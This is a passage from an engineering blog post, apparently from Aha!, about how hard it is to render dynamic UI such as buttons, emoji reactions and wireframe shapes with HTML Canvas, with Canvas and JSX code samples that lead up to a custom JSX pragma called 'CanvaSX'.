&lt;p&gt;Anyone who has used Canvas in the past understands the challenge. You cannot simply render content to the screen — you must manually draw content using functions such as &lt;code&gt;lineTo&lt;/code&gt;, &lt;code&gt;fillRect&lt;/code&gt;, &lt;code&gt;fillText&lt;/code&gt;, and so on. Consider the really simple example of rendering &quot;Hello, world!&quot; with basic styling and a quick layout. Let&apos;s try and reproduce this HTML in Canvas:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; style&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;border: solid 1px black; padding: 5px; font: 16px Times;&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  Hello, world!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;span&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code above will produce this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/08282cfc9e413d16995e81267676affa/hello-world.png&quot; alt=&quot;Hello world!&quot;&gt;&lt;/p&gt;
&lt;p&gt;But let&apos;s see what we would need to generate this in Canvas:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Rendering context&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ctx&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; CanvasRenderingContext2D&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; canvas.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;getContext&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;2d&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; padding&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Measure the text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;ctx.font &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;16px Times&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;ctx.textBaseline &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;top&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; textMetrics&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;measureText&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;Hello, world!&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Calculate the box size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; contentWidth&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; textMetrics.width &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; padding &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; contentHeight&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; textMetrics.fontBoundingBoxDescent &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; textMetrics.fontBoundingBoxAscent &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; padding &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Draw the border&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;ctx.fillStyle &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;black&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;strokeRect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, contentWidth, contentHeight);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Render the text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;fillText&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;Hello, world!&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, padding, padding &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; textMetrics.fontBoundingBoxAscent);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Almost 20 lines of code just to render the most basic of content.&lt;/p&gt;
&lt;h2&gt;Dynamic content&lt;/h2&gt;
&lt;p&gt;This becomes even more complex when you start adding dynamic content. For example, one of the first features in our Aha! Whiteboards roadmap was to add emoji reactions to our sticky note shape. This is a simple way to gather feedback from everyone viewing the whiteboard. The feature seems simple enough. In React/HTML, you might have something that looks like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; className&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;emoji-button&quot;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; onClick&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{clickHandler}&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  👍 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And here is what the user would see:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/74d5c797afff45d46d1181c75e57e5bd/thumbs-up.png&quot; alt=&quot;Thumbs up&quot;&gt;&lt;/p&gt;
&lt;p&gt;In Canvas, this becomes much more difficult. We have to render the button, add the padding and border radius, and then render the emoji and reaction number.&lt;/p&gt;
&lt;p&gt;But it doesn&apos;t stop there: What if 10 people react with a thumbs-up? Or 100? Now, that button must be wider to adapt to the content inside of it. In HTML, you don&apos;t even have to think about this. It just happens. You would just write your code like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; className&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;emoji-button&quot;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; onClick&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{clickHandler}&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  👍 {counter}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chances are that&apos;s how your component was written in the first place. You didn&apos;t even think about how to resize the &lt;code&gt;button&lt;/code&gt; element — the browser&apos;s rendering engine just did that for you. Emoji reactions was just the first feature I saw in our roadmap. And there were many others. But the big, daunting one was wireframes.&lt;/p&gt;
&lt;p&gt;Not only did we need a way to render a button that was entirely in our control, but we also needed to allow users to create their own buttons and add their own content to it. And a button was one of the simpler components we needed.&lt;/p&gt;
&lt;h2&gt;The naive solution&lt;/h2&gt;
&lt;p&gt;The very naive solution would be to write each button and wireframe shape separately. You could perhaps create a &lt;code&gt;renderButton&lt;/code&gt; function as a helper to render a button to the Canvas. Generalize the above code into a function, and you come up with something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Rendering context&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ctx&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; CanvasRenderingContext2D&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; canvas.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;getContext&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;2d&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; renderButton&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; string&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;padding&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;save&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // Calculate the box size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; textMetrics&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;measureText&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(text);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; contentWidth&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; textMetrics.width &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; padding &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; contentHeight&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; textMetrics.fontBoundingBoxDescent &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; textMetrics.fontBoundingBoxAscent &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; padding &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // Draw the button background&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;beginPath&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;roundRect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, contentWidth, contentHeight, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;fill&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // Render the text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;fillText&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(text, padding, padding);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ctx.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;restore&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this solution is limited. It only solves a specific problem and doesn&apos;t help fill in the functionality gap that HTML addresses out of the box. Imagine how this would scale as you add more complex shapes like these:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Navigation menu:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/e235d18b0b446c69117053199103f384/navigation-menu.png&quot; alt=&quot;Navigation menu&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dropdown picker:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/89442279d08232675855b388bc8e8375/dropdown-picker.png&quot; alt=&quot;Dropdown picker&quot;&gt;&lt;/p&gt;
&lt;p&gt;So the complexity of rendering all of these wireframes grows quickly, even with relatively simple shapes. How do you calculate the width and height of each navigation item? How do you render the borders, backgrounds, and dividers between each item?&lt;/p&gt;
&lt;h2&gt;Buttons&lt;/h2&gt;
&lt;p&gt;Let&apos;s take a deeper look at a very simple shape we have in our Wireframes: the button. As I demonstrated above, implementing a basic button renderer would not be difficult in and of itself. But there is already a bit of added complexity here. Our button needed to support multiple styles:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Style&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;/898f76f335230599b14af38615c7481c/basic-button.png&quot; alt=&quot;Basic button&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rounded&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;/59d6b25cd6ad6d75be82ec5fe45b3eb4/rounded-button.png&quot; alt=&quot;Rounded button&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Outline&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;/8d44c6f6e726a12041709b05535916b9/outline-button.png&quot; alt=&quot;Outline button&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rounded outline&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;/4d09598c02202e99c23a2733b685a5f6/rounded-outline-button.png&quot; alt=&quot;Rounded outline button&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Link&lt;/td&gt;
&lt;td&gt;&lt;img src=&quot;/6f10763e1445e008d036e634aca97a9e/link-button.png&quot; alt=&quot;Link button&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Each of these variations adds a bit more code and complexity to our &lt;code&gt;renderButton&lt;/code&gt; function. It would definitely be possible to support all of these designs with a single function, but would it be elegant? Reusable? Dynamic?&lt;/p&gt;
&lt;p&gt;Did you notice the icons? Well, users can choose to place the icon on the right side instead. And they can change the color of the button and the text, too. By themselves, each of these are minor things to add. But eventually, that function would become overloaded with all the variations, customizations, and edge cases that need to be handled.&lt;/p&gt;
&lt;h2&gt;JSX&lt;/h2&gt;
&lt;p&gt;In order for our team to be able to easily implement all of these features, we needed a readable, elegant, and powerful way to render dynamic content to Canvas in a familiar way. I thought to myself, wouldn&apos;t it be great if we could just render content to Canvas the same way we do with React?&lt;/p&gt;
&lt;p&gt;And then I had my &lt;a href=&quot;https://www.aha.io/company/history&quot;&gt;Aha! moment&lt;/a&gt;. WE COULD! To do this, we would use one of the really powerful and innovative features that React introduced to the world — something called JSX. It&apos;s really just syntactic sugar to write HTML syntax into declarative and well-structured element objects. For those of you who are unfamiliar with JSX, what it does for you under the hood is convert code like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; className&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;emoji-button&quot;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; onClick&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{clickHandler}&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  👍 {counter}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;button&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Into something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;_jsx&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;button&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, { className: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;emoji-button&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, onClick: clickHandler }, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;👍 &apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, counter);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JSX, in my opinion, was the &lt;a href=&quot;https://react.dev/learn/writing-markup-with-jsx&quot;&gt;biggest innovation&lt;/a&gt; that came out of React given that you could write HTML directly in your JavaScript. I had used other frameworks such as &lt;a href=&quot;https://mootools.net/&quot;&gt;MooTools&lt;/a&gt; in the past. You could use them to dynamically construct HTML in JavaScript, but with a very verbose and tedious syntax. It looked very similar to the converted code above. And it worked, but it was not satisfying or pleasant.&lt;/p&gt;
&lt;p&gt;The beauty of JSX is that you can override how elements are converted to JavaScript code using something called a &lt;a href=&quot;https://en.wikipedia.org/wiki/Directive_(programming)&quot;&gt;pragma&lt;/a&gt;. A pragma, or directive, is something that tells the JSX compiler how to process the code. In your JSX/TSX code, you can add a pragma to the top of your file like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;/** &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;@jsx&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt; CanvaSX */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { CanvaSX } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;canvasx&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, instead of converting your JSX to React code, the above code would be converted to something called CanvaSX code (more on this later):&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;CanvaSX&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;button&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, { className: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;emoji-button&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, onClick: clickHandler }, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;👍 &apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, counter);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The solution&lt;/h2&gt;
